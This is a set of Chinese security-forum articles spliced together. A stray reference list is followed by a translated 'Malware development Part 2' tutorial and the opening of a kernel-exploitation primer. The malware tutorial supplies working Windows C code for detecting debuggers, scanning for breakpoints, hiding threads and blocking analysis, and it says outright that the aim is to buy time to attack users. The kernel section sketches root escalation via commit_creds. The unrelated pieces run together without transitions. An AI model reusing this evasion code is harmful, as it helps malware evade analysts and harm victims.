PS：如果你还有兴趣了解这方面内容，我整理了一些CPU漏洞相关的资料：<https://github.com/houjingyi233/CPU-vulnerability-collections>
## 参考资料
1.[Reading privileged memory with a side-channel](https://googleprojectzero.blogspot.com/2018/01/reading-privileged-memory-with-side.html "Reading privileged memory with a side-channel ")
2.[深入分析Ubuntu本地提权漏洞—【CVE-2017-16995】](https://xz.aliyun.com/t/2212
"深入分析Ubuntu本地提权漏洞—【CVE-2017-16995】")
3.<http://man7.org/linux/man-pages/man2/bpf.2.html>
4.[Linux CVE-2017-16995整数扩展问题导致提权漏洞分析](https://bbs.pediy.com/thread-249033.htm
"Linux CVE-2017-16995整数扩展问题导致提权漏洞分析")
5.[Issue 1711: Linux: eBPF Spectre v1 mitigation is insufficient
](https://bugs.chromium.org/p/project-zero/issues/detail?id=1711 "Issue 1711:
Linux: eBPF Spectre v1 mitigation is insufficient ")
6.<https://www.kernel.org/doc/Documentation/networking/filter.txt>
7.[Analysis and mitigation of speculative store bypass
(CVE-2018-3639)](https://blogs.technet.microsoft.com/srd/2018/05/21/analysis-and-mitigation-of-speculative-store-bypass-cve-2018-3639/ "Analysis and
mitigation of speculative store bypass \(CVE-2018-3639\)")
8.[Issue 1528: speculative execution, variant 4: speculative store bypass
](https://bugs.chromium.org/p/project-zero/issues/detail?id=1528 "Issue 1528:
speculative execution, variant 4: speculative store bypass ") | 社区文章 |
# 恶意软件开发 Part 2
|
##### 译文声明
本文是翻译文章，文章原作者 0xPat，文章来源：0xpat.github.io
原文地址：<https://0xpat.github.io/Malware_development_part_3/>
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
本文是恶意软件开发系列文章的第二篇。在本系列文章中，我们将探索并尝试实现多个恶意软件中使用的技术，恶意软件使用这些技术实现代码执行，绕过防御，以及持久化。
在本系列的上一篇文章中，我们讨论了用于沙箱检测，虚拟机检测和自动分析检测的方法。
这次，我们看看应用程序是怎么检测到它正在被分析人员调试或检查的。
注意：假定的执行环境为64位，所以部分代码示例可能无法在32位环境下工作（比如说代码里面有硬编码的8字节指针或者PE和PEB的内部布局不同）。除此之外，下面的代码示例中省略了错误检查。
## 检测并阻止手工分析
存在一些特定的特征可以表明恶意软件分析人员正在对程序进行手工查验。
为了保护我们的恶意软件，我们可以对这些特征进行检查，也可以让分析人员更加难以对软件进行逆向分析。
### 调试器检测
首先要做的是检查程序是否是在连接了调试器的情况下执行的。目前有很多调试器检测技术，我们会讨论其中的一部分。
当然，每种技术都能被分析人员所预防，但有些技术会比其他的技术更复杂。
#### 查询信息
可以直接“询问”操作系统程序是否连接了任何调试器。`IsDebuggerPresent`函数可以用来检查PEB中的`BeingDebugged`标志：
if (IsDebuggerPresent()) return;
// same check
PPEB pPEB = (PPEB)__readgsqword(0x60);
if (pPEB->BeingDebugged) return;
另一个类似的函数是`CheckRemoteDebuggerPresent`，它会调用`NtQueryInformationProcess`：
BOOL isDebuggerPresent = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &isDebuggerPresent);
if (isDebuggerPresent) return;
// same check
typedef NTSTATUS(WINAPI *PNtQueryInformationProcess)(IN HANDLE, IN PROCESSINFOCLASS, OUT PVOID, IN ULONG, OUT PULONG);
PNtQueryInformationProcess pNtQueryInformationProcess = (PNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess");
DWORD64 isDebuggerPresent2 = 0;
pNtQueryInformationProcess(GetCurrentProcess(), ProcessDebugPort, &isDebuggerPresent2, sizeof DWORD64, NULL);
if (isDebuggerPresent2) return;
#### 标志以及其他值
在对程序进行调试的时候，会在进程地址空间中设置一些特定的标志。`NtGlobalFlag`是一个位于PEB中的标志集合，可以用来表示调试器是否存在。
注意：该方法无法检测到Visual Studio调试器（`msvsmon`）。
#define FLG_HEAP_ENABLE_TAIL_CHECK 0x10
#define FLG_HEAP_ENABLE_FREE_CHECK 0x20
#define FLG_HEAP_VALIDATE_PARAMETERS 0x40
#define NT_GLOBAL_FLAG_DEBUGGED (FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS)
PDWORD pNtGlobalFlag = (PDWORD)(__readgsqword(0x60) + 0xBC);
if ((*pNtGlobalFlag) & NT_GLOBAL_FLAG_DEBUGGED) return false;
进程的堆中有两个受调试器影响的有趣的标志`Flags`和`ForceFlags`。如果进程正在被调试，这些标志会具有特定的值。堆位置和标志位置（相对于堆）是和系统以及体系结构有关。
注意：该方法无法检测到Visual Studio调试器（`msvsmon`）。
PDWORD pHeapFlags = (PDWORD)((PBYTE)GetProcessHeap() + 0x70);
PDWORD pHeapForceFlags = (PDWORD)((PBYTE)GetProcessHeap() + 0x74);
if (*pHeapFlags ^ HEAP_GROWABLE || *pHeapForceFlags != 0) return false;
之前提到的`NtQueryInformationProcess`函数可以用来检查其他值：`ProcessDebugObjectHandle`和`ProcessDebugFlags`。
#define ProcessDebugObjectHandle 0x1E
#define ProcessDebugFlags 0x1F
HANDLE hProcessDebugObject = NULL;
DWORD processDebugFlags = 0;
pNtQueryInformationProcess(GetCurrentProcess(), (PROCESSINFOCLASS)ProcessDebugObjectHandle, &hProcessDebugObject, sizeof HANDLE, NULL);
pNtQueryInformationProcess(GetCurrentProcess(), (PROCESSINFOCLASS)ProcessDebugFlags, &processDebugFlags, sizeof DWORD, NULL);
if (hProcessDebugObject != NULL || processDebugFlags == 0) return;
#### 通过检查代码中的变化来检测断点
当调试器在函数中设置 **软件断点** 时，会同时把一个中断指令注入函数代码（`INT
3`，操作码`0xCC`）。我们可以在运行时扫描函数代码，比较每个字节是否与`0xCC`操作码相同，或者直接计算函数字节的校验和并与正确的值（根据“有效”函数计算得到）做比较，以检查代码中是否存在`0xCC`操作码。但是我们需要知道函数的起始位置，可以在`CrucialFunction`之后使用存根函数，同时也要确保链接器不会对对象文件和库文件进行增量链接。可以使用`#pragma
auto_inline(off)`阻止编译器对函数进行内联扩展。
#pragma comment(linker, "/INCREMENTAL:YES")
DWORD CalculateFunctionChecksum(PUCHAR functionStart, PUCHAR functionEnd)
{
DWORD checksum = 0;
while(functionStart < functionEnd)
{
checksum += *functionStart;
functionStart++;
}
return checksum;
}
#pragma auto_inline(off)
VOID CrucialFunction()
{
int x = 0;
x += 2;
}
VOID AfterCrucialFunction()
{
};
#pragma auto_inline(on)
void main()
{
DWORD originalChecksum = 3429;
DWORD checksum = CalculateFunctionChecksum((PUCHAR)CrucialFunction, (PUCHAR)AfterCrucialFunction);
if (checksum != originalChecksum) return;
wprintf_s(L"Now hacking...n");
}
可以通过检查调试寄存器`DR0`到`DR3`来检测 **硬件断点** ：
CONTEXT context = {};
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(GetCurrentThread(), &context);
if (context.Dr0 || context.Dr1 || context.Dr2 || context.Dr3) return;
#### 通过检查内存页面权限来检测断点
检查内存页面权限可以帮助我们检测调试器设置的软件断点。首先需要确定进程工作集中的页面数，并分配足够大的缓冲区来存储所有信息。然后遍历所有内存页面并检查其权限，我们只关注有执行权限的页面。对于每个可执行页面，检查该页面是否[与其他进程共享](https://waleedassar.blogspot.com/2014/06/sharecount-as-anti-debugging-trick.html)（除非有人修改了内存，例如在代码中注入`INT 3`指令，否则 _不应共享_ ）。
_（译者注：斜体部分我认为应该的“应共享”，已与作者联系，还未得到回复）_
BOOL debugged = false;
PSAPI_WORKING_SET_INFORMATION workingSetInfo;
QueryWorkingSet(GetCurrentProcess(), &workingSetInfo, sizeof workingSetInfo);
DWORD requiredSize = sizeof PSAPI_WORKING_SET_INFORMATION * (workingSetInfo.NumberOfEntries + 20);
PPSAPI_WORKING_SET_INFORMATION pWorkingSetInfo = (PPSAPI_WORKING_SET_INFORMATION)VirtualAlloc(0, requiredSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
BOOL s = QueryWorkingSet(GetCurrentProcess(), pWorkingSetInfo, requiredSize);
for (int i = 0; i < pWorkingSetInfo->NumberOfEntries; i++)
{
PVOID physicalAddress = (PVOID)(pWorkingSetInfo->WorkingSetInfo[i].VirtualPage * 4096);
MEMORY_BASIC_INFORMATION memoryInfo;
VirtualQuery((PVOID)physicalAddress, &memoryInfo, sizeof memoryInfo);
if (memoryInfo.Protect & (PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY))
{
if ((pWorkingSetInfo->WorkingSetInfo[i].Shared == 0) || (pWorkingSetInfo->WorkingSetInfo[i].ShareCount == 0))
{
debugged = true;
break;
}
}
}
if (debugged) return;
wprintf_s(L"Now hacking...n");
#### 异常处理程序
一般来说，异常首先由调试器进行处理。如果我们可以添加新的异常或者修改异常处理的过程（以执行任意代码），那我们就可以发现调试器的存在，因为只有在没有调试器率先捕获异常的情况下，我们的代码才会执行。
结构化异常处理（SEH）是一种Windows异常处理机制。当异常出现而没有其他措施能够进行处理时，该异常会被传递给SEH。在运行时使用SEH可用于调试器检测。
在32位的环境中，异常处理程序以链表的形式出现，并且第一个元素的地址会被存储在TEB的开头。我们可以添加一个自定义处理程序并将其链接到列表的开头，该自定义异常处理程序可以表明程序并未进行调试。
但在64位的环境中，SEH操作是在内核模式下完成的（这可以防止栈上的SEH数据因为缓冲区溢出攻击而被覆盖），因此一般无法使用上述技术。但是，如果没有任何处理程序能够处理该异常，就会把它传递给`kernel32.UnhandledExceptionFilter`函数（这是异常处理的最后手段）。
可以设置一个自定义的过滤函数，该函数将使用`SetUnhandledExceptionFilter`函数从`UnhandledExceptionFilter`中调用。有趣的是，程序只有在不被调试的情况下，才会调用这个自定义的未处理异常过滤器。这是因为`UnhandledExceptionFilter`会使用带有`ProcessDebugPort`标志的`pNtQueryInformationProcess`函数来检查调试器的存在（与之前介绍的技术相同）。
所以我们可以注册任意的未处理异常过滤器函数，该函数可以说明程序未使用调试器。
BOOL isDebugged = TRUE;
LONG WINAPI CustomUnhandledExceptionFilter(PEXCEPTION_POINTERS pExceptionPointers)
{
isDebugged = FALSE;
return EXCEPTION_CONTINUE_EXECUTION;
}
void main()
{
PTOP_LEVEL_EXCEPTION_FILTER previousUnhandledExceptionFilter = SetUnhandledExceptionFilter(CustomUnhandledExceptionFilter);
RaiseException(EXCEPTION_FLT_DIVIDE_BY_ZERO, 0, 0, NULL);
SetUnhandledExceptionFilter(previousUnhandledExceptionFilter);
if (isDebugged) return;
wprintf_s(L"Now hacking...n");
}
#### 创建中断
我们可以在代码中创建断点中断，调试器会将其解释为软件断点（就像是用户设置的断点）。接下来创建一个简单的SEH处理程序：
BOOL isDebugged = TRUE;
__try
{
DebugBreak();
}
__except (GetExceptionCode() == EXCEPTION_BREAKPOINT ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
{
isDebugged = FALSE;
}
if (isDebugged) return;
这种方法可以用于检测VS调试器（`msvsmon`）和`WinDbg`，但不能检测`x64dbg`。 后者似乎把“断点“异常传递给了SEH。
如果不使用`DebugBreak`而是使用`RaiseException`函数，可能会引发一些未定义的行为，调试器可能会让代码流变得混乱，并且让程序跳转到错误的地址，生成`EXCEPTION_ILLEGAL_INSTRUCTION`异常的循环。在增加程序的分析难度方面，这个方法可能很有用。
BOOL isDebugged = TRUE;
__try
{
RaiseException(EXCEPTION_BREAKPOINT, 0, 0, NULL);
}
__except (GetExceptionCode() == EXCEPTION_BREAKPOINT ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
{
isDebugged = FALSE;
}
if (isDebugged) return;
另一种查看调试器如何处理此类断点中断的方法是注册一个向量化的异常处理程序。
向量化异常处理是SEH的扩展。向量化异常处理程序并不会替代SEH，它们可以并行工作，但是VEH比SEH的优先级高，VEH处理程序在SEH处理程序之前被调用。无论如何，在调试器处理（或不处理）断点异常之后，VEH可能会被调用，也可能不会被调用。
使用`DebugBreak`函数可以重现与上面使用SEH的代码类似的情况（只有调试器不存在时才执行VEH）。这种方法可以用于检测VS调试器（`msvsmon`）和`WinDbg`，但不能检测`x64dbg`。
BOOL isDebugged = TRUE;
LONG WINAPI CustomVectoredExceptionHandler(PEXCEPTION_POINTERS pExceptionPointers)
{
if (pExceptionPointers->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT)
{
pExceptionPointers->ContextRecord->Rip++;
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH; // pass on other exceptions
}
void main()
{
AddVectoredExceptionHandler(1, CustomVectoredExceptionHandler);
DebugBreak();
RemoveVectoredExceptionHandler(CustomVectoredExceptionHandler);
if (isDebugged) return;
wprintf_s(L"Now hacking...n");
}
同样，使用`RaiseException`函数会引发一些未定义的行为，生成`EXCEPTION_ILLEGAL_INSTRUCTION`异常的循环。可以使用该方法阻止对程序的分析：
LONG WINAPI CustomVectoredExceptionHandler(PEXCEPTION_POINTERS pExceptionPointers)
{
// process all exceptions, including EXCEPTION_ILLEGAL_INSTRUCTION
printf("xD");
return EXCEPTION_CONTINUE_EXECUTION;
}
void main()
{
AddVectoredExceptionHandler(1, CustomVectoredExceptionHandler);
RaiseException(EXCEPTION_BREAKPOINT, 0, 0, NULL);
RemoveVectoredExceptionHandler(CustomVectoredExceptionHandler);
wprintf_s(L"Now hacking...n");
}
#### 自调试
如果进程已经在被调试，就不可能在该进程上再附加另一个调试器。如果想要使用这个方法检查程序是否在被调试，我们需要启动另一个进程，尝试把该进程附加到我们的程序上。
if (!DebugActiveProcess(pid))
{
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
TerminateProcess(hProcess, 0);
}
### 一般的分析检测
通过遍历正在运行的进程或者已加载的库文件等资源，我们可能会发现分析人员正在试图对我们的程序进行逆向工程。关于这方面的更多信息，请查看此系列的上一篇文章（
**文件、目录、进程以及窗口名称** 小节）。
#### 执行时间
上一篇文章中介绍的时间检查（用于沙箱检测）还可以用于检测程序是否正在被分析或调试。我们可以在执行某个指令块之前和之后检查系统时间，并假设该时间差应该小于某个限值。如果程序正在被分析，则该指令块中可能被设置了断点，这时候指令块的执行时间会超过假设的限值。
int t1 = GetTickCount64();
Hack(); // should take less than 5 seconds
int t2 = GetTickCount64();
if (((t2 - t1) / 1000) > 5) return;
wprintf_s(L"Now hacking more...n");
`GetTickCount64`函数可能会被劫持。为了解决该问题，我们可以使用上一篇文章中介绍的技术（请参阅 **延迟执行** 和
**函数劫持(hooking)** 小节）。
### 加大分析的难度
#### 让调试器无法发现
我们可以使用Windows自带的功能让调试器无法发现线程，该线程会停止发送任何事件。这个过程中使用的函数（`NtSetInformationThread`）可能会被劫持，为了验证这一点，我们可以使用一些伪参数调用该函数并检查返回状态（参数错误时不应该返回`STATUS_SUCCESS`）。
typedef NTSTATUS(WINAPI *NtSetInformationThread)(IN HANDLE, IN THREADINFOCLASS, IN PVOID, IN ULONG);
NtSetInformationThread pNtSetInformationThread = (NtSetInformationThread)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtSetInformationThread");
THREADINFOCLASS ThreadHideFromDebugger = (THREADINFOCLASS)0x11;
pNtSetInformationThread(GetCurrentThread(), ThreadHideFromDebugger, NULL, 0);
当然，这个方法不会影响隐藏线程之前发送的事件。
同样，我们也可以使用`NtCreateThreadEx`函数创建一个新线程，并让调试器无法发现该线程。 这个新线程不会把事件发送到调试器。
typedef NTSTATUS(WINAPI *NtCreateThreadEx)(OUT PHANDLE, IN ACCESS_MASK, IN PVOID, IN HANDLE, IN PTHREAD_START_ROUTINE, IN PVOID, IN ULONG, IN SIZE_T, IN SIZE_T, IN SIZE_T, OUT PVOID);
NtCreateThreadEx pNtCreateThreadEx = (NtCreateThreadEx)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtCreateThreadEx");
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x4
HANDLE hThread;
pNtCreateThreadEx(&hThread, 0x1FFFFF, NULL, GetCurrentProcess(), (PTHREAD_START_ROUTINE)shellcode_exec, NULL, THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER, NULL, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
创建新线程本身就可以让程序的分析更加复杂。 因为除非在适当的位置设置了断点，否则新线程中的代码可以任意执行。
#### 执行路径
让代码执行路径复杂化也可以使程序分析更加困难。在前面提到的异常处理程序中执行恶意代码就很好，而且不容易被人发现。也可以利用使用回调的Windows
API函数（还记得`EnumDisplayMonitors`吗？）。有[许多使用回调的函数](https://secrary.com/Random/HinderMalwareAnalyst/)，比如说下面这个扩展的文件读写操作：
VOID CALLBACK MyCallback(DWORD errorCode, DWORD bytesTransferred, POVERLAPPED pOverlapped)
{
MessageBoxW(NULL, L"Catch me if you can", L"xD", 0);
}
void main()
{
HANDLE hFile = CreateFileW(L"C:\Windows\win.ini", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
PVOID fileBuffer = VirtualAlloc(0, 64, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
OVERLAPPED overlapped = {0};
ReadFileEx(hFile, fileBuffer, 32, &overlapped, MyCallback);
WaitForSingleObjectEx(hFile, INFINITE, true); // wait for the asynchronous operation to finish
wprintf_s(L"Already pwned...n");
}
#### TLS回调
TLS（线程本地存储）回调是一种Windows机制，它允许在进程/线程开始和终止的时候执行任意代码。可以用它在`main`函数（或其他入口点）开始之前运行一些反调试代码。但是，大多数调试器会自动放置一个断点在`main`之前（“系统断点”，`ntdll.LdrpDoDebuggerBreak`），有的甚至直接放置在回调开始的地方。无论如何，回调的实现需要一些链接器指令：
void NTAPI TlsCallback(PVOID DllHandle, DWORD dwReason, PVOID)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
if (CheckIfDebugged()) exit(0);
}
}
#pragma comment (linker, "/INCLUDE:_tls_used")
#pragma comment (linker, "/INCLUDE:tls_callback_function")
#pragma const_seg(".CRT$XLA")
EXTERN_C const PIMAGE_TLS_CALLBACK tls_callback_function = TlsCallback;
#pragma const_seg()
void main()
{
wprintf_s(L"Now hacking...n");
}
在比较旧的Windows版本上，可以使用TLS回调检测调试器在进程中创建的新线程。从Windows
7开始，`DebugActiveProcess`在调用`NtCreateThreadEx`函数时会带有一个标志，该标志会在新线程的环境块中设置`SkipThreadAttach`标志，从而阻止TLS回调的执行。
#### 阻止用户输入
如果程序是以管理员的身份运行，我们就可以阻止键盘和鼠标事件。但是安全提示序列（`CTRL + ALT +
DEL`）可以绕过这种阻止，因为内核会捕获这个事件。
BlockInput(true);
## 总结
本文就到这里，我们已经可以在代码中实现一些调试器检测技术了。
当然，熟练的逆向人员可以禁用上面介绍的所有技巧，我们不可能让调试器完全无法调试我们的程序，但是我们可以让这个过程更加困难。这也是本文的重点，反病毒引擎或者检测人员在理解代码并提取IoC上花的时间越长，我们就有越多的时间攻击用户并占领系统。
下一篇文章中，我们将讨论恶意软件的静态分析和混淆，重点关注PE格式。
## 链接
请确保你查看了下面这些和此次主题有关的资源：
<https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software>
<https://anti-reversing.com/Downloads/Anti-Reversing/The_Ultimate_Anti-Reversing_Reference.pdf>
<http://antukh.com/blog/2015/01/19/malware-techniques-cheat-sheet/>
<https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug>
<https://secrary.com/Random/HinderMalwareAnalyst/> | 社区文章 |
# Kernel Pwn 学习之路(一)
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
由于关于Kernel安全的文章实在过于繁杂，本文有部分内容大篇幅或全文引用了参考文献，若出现此情况的，将在相关内容的开头予以说明，部分引用参考文献的将在文件结尾的参考链接中注明。
本文主要介绍了Kernel的相关知识以及栈溢出在Kernel中的利用，更多的利用思路以及更多的实例将在后续文章中说明
## 0x02 kernel简介
📚：本部分全文引用了[CTF-Wiki](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/)的相关内容。
### 什么是Kernel
kernel 也是一个程序，用来管理软件发出的数据 I/O 要求，将这些要求转义为指令，交给 CPU 和计算机中的其他组件处理，kernel
是现代操作系统最基本的部分。
kernel 最主要的功能有两点：
1. 控制并与硬件进行交互
2. 提供 application 能运行的环境
包括 I/O，权限控制，系统调用，进程管理，内存管理等多项功能都可以归结到上边两点中。
需要注意的是， **kernel 的 crash 通常会引起重启** 。
### Ring Model
intel CPU 将 CPU 的特权级别分为 4 个级别：Ring 0, Ring 1, Ring 2, Ring 3。
Ring 0 只给 OS 使用，Ring 3 所有程序都可以使用，内层 Ring 可以随便使用外层 Ring 的资源。
使用 Ring Model 是为了提升系统安全性，例如某个间谍软件作为一个在 Ring 3
运行的用户程序，在不通知用户的时候打开摄像头会被阻止，因为访问硬件需要使用 being 驱动程序保留的 Ring 1 的方法。
大多数的现代操作系统只使用了 Ring 0 和 Ring 3。
### Model Change
#### user space to kernel space
当发生 `系统调用`，`产生异常`，`外设产生中断`等事件时，会发生用户态到内核态的切换，具体的过程为：
1. 通过 `swapgs` 切换 GS 段寄存器，将 GS 寄存器值和一个特定位置的值进行交换，目的是保存 GS 值，同时将该位置的值作为内核执行时的 GS 值使用。
2. 将当前栈顶（用户空间栈顶）记录在 CPU 独占变量区域里，将 CPU 独占区域里记录的内核栈顶放入`RSP/ESP`。
3. 通过 push 保存各寄存器值，具体的 [代码](http://elixir.free-electrons.com/linux/v4.12/source/arch/x86/entry/entry_64.S) 如下:
ENTRY(entry_SYSCALL_64)
/* SWAPGS_UNSAFE_STACK是一个宏，x86直接定义为swapgs指令 */
SWAPGS_UNSAFE_STACK
/* 保存栈值，并设置内核栈 */
movq %rsp, PER_CPU_VAR(rsp_scratch)
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
/* 通过push保存寄存器值，形成一个pt_regs结构 */
/* Construct struct pt_regs on stack */
pushq $__USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
pushq %rax /* pt_regs->orig_ax */
pushq %rdi /* pt_regs->di */
pushq %rsi /* pt_regs->si */
pushq %rdx /* pt_regs->dx */
pushq %rcx tuichu /* pt_regs->cx */
pushq $-ENOSYS /* pt_regs->ax */
pushq %r8 /* pt_regs->r8 */
pushq %r9 /* pt_regs->r9 */
pushq %r10 /* pt_regs->r10 */
pushq %r11 /* pt_regs->r11 */
sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */
4. 通过汇编指令判断是否为 `x32_abi`。
5. 通过系统调用号，跳到全局变量 `sys_call_table` 相应位置继续执行系统调用。
#### kernel space to user space
退出时，流程如下：
1. 通过 `swapgs` 恢复 GS 值
2. 通过 `sysretq` 或者 `iretq` 恢复到用户控件继续执行。如果使用 `iretq` 还需要给出用户空间的一些信息(`CS, eflags/rflags, esp/rsp` 等)
#### 关于 syscall
系统调用，指的是用户空间的程序向操作系统内核请求需要更高权限的服务，比如 IO 操作或者进程间通信。系统调用提供用户程序与操作系统间的接口，部分库函数（如
scanf，puts 等 IO 相关的函数实际上是对系统调用的封装 （read 和 write)）。
> 在 _/usr/include/x86_64-linux-gnu/asm/unistd_64.h_ 和
> _/usr/include/x86_64-linux-gnu/asm/unistd_32.h_ 分别可以查看 64 位和 32 位的系统调用号。
>
> 同时推荐一个很好用的网站 [Linux Syscall
> Reference](https://syscalls.kernelgrok.com/)，可以查阅 32 位系统调用对应的寄存器含义以及源码。64
> 位系统调用可以查看 [Linux Syscall64 Reference](https://syscalls64.paolostivanin.com/)
#### 关于 ioctl
在 man 手册中，关于这个函数的说明如下：
NAME
ioctl - control device
SYNOPSIS
#include <sys/ioctl.h>
int ioctl(int fd, unsigned long request, ...);
DESCRIPTION
The ioctl() system call manipulates the underlying device parameters of special
files. In particular, many operating characteristics of character special
files (e.g., terminals) may be controlled with ioctl() requests. The argument
fd must be an open file descriptor.
The second argument is a device-dependent request code. The third argument is
an untyped pointer to memory. It's traditionally char *argp (from the days
before void * was valid C), and will be so named for this discussion.
An ioctl() request has encoded in it whether the argument is an in parameter or
out parameter, and the size of the argument argp in bytes. Macros and defines
used in specifying an ioctl() request are located in the file <sys/ioctl.h>.
可以看出 ioctl 也是一个系统调用，用于与设备通信。
`int ioctl(int fd, unsigned long request, ...)` 的第一个参数为打开设备 (open) 返回的
[文件描述符](http://m4x.fun/post/play-with-file-descriptor-1/)，第二个参数为用户程序对设备的控制命令，再后边的参数则是一些补充参数，与设备有关。
> 使用 ioctl 进行通信的原因：
>
> 操作系统提供了内核访问标准外部设备的系统调用，因为大多数硬件设备只能够在内核空间内直接寻址, 但是当访问非标准硬件设备这些系统调用显得不合适,
> 有时候用户模式可能需要直接访问设备。
>
>
> 比如，一个系统管理员可能要修改网卡的配置。现代操作系统提供了各种各样设备的支持，有一些设备可能没有被内核设计者考虑到，如此一来提供一个这样的系统调用来使用设备就变得不可能了。
>
> 为了解决这个问题，内核被设计成可扩展的，可以加入一个称为设备驱动的模块，驱动的代码允许在内核空间运行而且可以对设备直接寻址。一个 Ioctl
> 接口是一个独立的系统调用，通过它用户空间可以跟设备驱动沟通。对设备驱动的请求是一个以设备和请求号码为参数的 Ioctl
> 调用，如此内核就允许用户空间访问设备驱动进而访问设备而不需要了解具体的设备细节，同时也不需要一大堆针对不同设备的系统调用。
### 内核态函数调用
相比用户态库函数，内核态的函数有了一些变化：
1. `printf()`变更为 **`printk()`** ，但需要注意的是`printk()` **不一定会把内容显示到终端上，但一定在内核缓冲区里** ，可以通过 `dmesg` 查看效果。
2. `memcpy()` 变更为 **`copy_from_user()/copy_to_user()`**
* copy_from_user() 实现了将用户空间的数据传送到内核空间
* copy_to_user() 实现了将内核空间的数据传送到用户空间
3. `malloc()`变更为 **`kmalloc()`** ，内核态的内存分配函数，和`malloc()`相似，但使用的是 `slab/slub` 分配器
4. `free()`变更为 **`kfree()`** ，同 `kmalloc()`
同时，`kernel`负责管理进程，因此 kernel 也记录了进程的权限。`kernel`中有两个可以方便的改变权限的函数：
1. **`int commit_creds(struct cred *new)`**
2. **`struct cred* prepare_kernel_cred(struct task_struct* daemon)`**
**从函数名也可以看出，执行`commit_creds(prepare_kernel_cred(0))` 即可获得 root 权限，0 表示 以 0
号进程作为参考准备新的 credentials。**
> 更多关于 `prepare_kernel_cred` 的信息可以参考
> [源码](https://elixir.bootlin.com/linux/v4.6/source/kernel/cred.c#L594)
执行 `commit_creds(prepare_kernel_cred(0))` 也是最常用的提权手段，两个函数的地址都可以在
`/proc/kallsyms` 中查看（较老的内核版本中是 `/proc/ksyms`）。
⚠️： **一般情况下，/proc/kallsyms 的内容需要 root 权限才能查看，若以非root权限查看将显示为0地址。**
### struct cred – 进程权限结构体
内核使用`cred`结构体记录进程的权限，每个进程中都有一个 cred
结构，这个结构保存了该进程的权限等信息(`uid，gid`等），如果能修改某个进程的`cred`，那么也就修改了这个进程的权限。结构体[源码](https://code.woboq.org/linux/linux/include/linux/cred.h.html#cred)如下:
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
/* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
} __randomize_layout;
### 内核保护机制
1. smep: Supervisor Mode Execution Protection，当处理器处于 `ring 0` 模式，执行 **用户空间** 的代码会触发页错误。（在 arm 中该保护称为 `PXN`)
2. smap: Superivisor Mode Access Protection，类似于 smep，当处理器处于 `ring 0` 模式，访问 **用户空间** 的数据会触发页错误。
3. MMAP_MIN_ADDR：控制着mmap能够映射的最低内存地址，防止用户非法分配并访问低地址数据。
4. KASLR：Kernel Address Space Layout Randomization(内核地址空间布局随机化)，开启后，允许kernel image加载到VMALLOC区域的任何位置。
⚠️： **Canary, DEP, PIE, RELRO 等保护与用户态原理和作用相同。**
## 0x03 LKMs 介绍
### 什么是LKMs
LKMs(Loadable Kernel Modules)称为可加载核心模块(内核模块)，其可以看作是运行在内核空间的可执行程序，包括:
* 驱动程序（Device drivers）
* 设备驱动
* 文件系统驱动
* …
* 内核扩展模块 (modules)
LKMs 的文件格式和用户态的可执行程序相同，Linux 下为 ELF，Windows 下为 exe/dll，mac 下为 MACH-O，因此我们可以用
IDA 等工具来分析内核模块。
